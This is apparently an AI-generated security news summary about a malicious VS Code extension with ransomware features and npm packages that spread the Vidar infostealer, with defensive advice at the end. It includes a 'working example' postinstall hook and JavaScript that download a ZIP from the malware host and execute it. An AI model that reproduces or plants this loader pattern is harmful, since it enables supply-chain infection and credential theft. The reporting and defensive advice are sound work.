AI-Driven Malware Exploits Open-Source Trust: VS Code Extension and npm Packages
These articles are AI-generated summaries. Please check the original sources for full details.
AI-Driven Malware Exploits Open-Source Trust
Malicious VS Code Extension with Ransomware Capabilities
A malicious Visual Studio Code (VS Code) extension named “susvsex” was identified by Secure Annex researcher John Tuckner. Key details include:
- Upload Date: November 5, 2025, by user “suspublisher18” with email “donotsupport@example[.]com”.
- Functionality:
- Automatically zips, uploads, and encrypts files from
C:\Users\Public\testing(Windows) or/tmp/testing(macOS) on first launch. - Uses a GitHub repository (
aykhanmv) as a command-and-control (C2) channel, polling for commands inindex.htmland writing results torequirements.txt. - Embeds a GitHub access token in the code, risking C2 server takeover.
- Automatically zips, uploads, and encrypts files from
- Removal: Microsoft removed the extension from the VS Code Marketplace on November 6, 2025.
- “Vibe-Coded” Nature:
- Contains extraneous comments, README files with execution instructions, and placeholder variables.
- Accidentally included decryption tools and C2 server code, making it easily modifiable for real attacks.
Supply Chain Attack via npm Packages Distributing Vidar Infostealer
Datadog Security Labs uncovered 17 npm packages masquerading as SDKs but secretly executing Vidar Stealer, an information-stealing malware. Key details:
- Packages: Published by accounts “aartje” and “saliii229911” between October 21–26, 2025. Examples include
abeya-tg-api,custom-telegram-bot-api, andtelegram-bot-starter. - Attack Chain:
- Postinstall Script: Defined in
package.jsonto download a ZIP frombullethost[.]cloudand execute Vidar. - Execution Flow:
- PowerShell scripts (in some variants) download the ZIP.
- JavaScript files execute Vidar, which uses hard-coded Telegram/Steam accounts as “dead drop resolvers” to fetch C2 servers.
- Postinstall Script: Defined in
- Impact:
- Downloads: At least 2,240 times before removal, though many may be automated scrapers.
- First Distribution: Vidar Stealer via npm registry (previously seen in other supply chain attacks).
- Threat Actor Tactics:
- Diversified Scripts: Varying postinstall implementations to evade detection.
- Supply Chain Targets: Exploits npm, PyPI, RubyGems, and Open VSX ecosystems.
Broader Implications for Open-Source Security
- AI’s Role: “Vibe-coded” malware (AI-generated) lacks obfuscation, making it easier to detect but more accessible to attackers.
- Supply Chain Risks:
- Typosquatting and dependency confusion are common tactics to mimic legitimate packages.
- Developers must verify package origins, review changelogs, and use tools like Snyk or Dependabot for dependency monitoring.
Working Example (npm Postinstall Script)
{
"name": "malicious-sdk",
"version": "1.0.0",
"scripts": {
"postinstall": "node fetch-and-execute.js"
},
"dependencies": {
"axios": "^1.6.2"
}
}
// fetch-and-execute.js
const axios = require('axios');
const fs = require('fs');
const { exec } = require('child_process');
axios.get('https://bullethost[.]cloud/vidar.zip')
.then(response => {
fs.writeFileSync('vidar.zip', response.data);
exec('unzip vidar.zip && node vidar.js', (err) => {
if (err) console.error(err);
});
})
.catch(error => {
console.error('Download failed:', error.message);
});
Recommendations
- For Developers:
- Verify Packages: Use tools like npm audit or GitHub Dependabot to scan for vulnerabilities.
- Avoid Typosquatting: Check for similar package names (e.g.,
axiosvs.axois). - Review Changelogs: Confirm updates are from trusted maintainers.
- For Organizations:
- Monitor Dependencies: Regularly update and audit third-party libraries.
- Use C2 Monitoring: Detect unusual GitHub activity (e.g., unauthorized token usage).
- For Users:
- Avoid Untrusted Extensions: Only install VS Code extensions from verified publishers.
- Enable Sandboxing: Run untrusted code in isolated environments.
Reference: Vibe-Coded Malicious VS Code Extension Found with Built-In Ransomware Capabilities
Continue reading
Next article
Spatial Supersensing as the Core Capability for Multimodal AI Systems
Related Content
PhantomRaven Malware Exploits npm Packages to Steal Developer Secrets
Researchers identify PhantomRaven, a supply chain attack using 126 malicious npm packages to steal GitHub tokens and CI/CD secrets by exploiting remote dependencies and AI-generated package names.
10 Malicious npm Packages Caught Stealing Developer Credentials Across Operating Systems
Cybersecurity researchers uncovered 10 typosquatted npm packages that deliver a 24MB PyInstaller info stealer, stealing credentials from Windows, macOS, and Linux systems via obfuscation and postinstall hooks.
Five 2025 Web Security Threats Redefining Cyber Defense
AI-driven attacks and supply chain breaches in 2025 forced a 156% surge in malicious packages and 70% cookie non-compliance, reshaping web security protocols.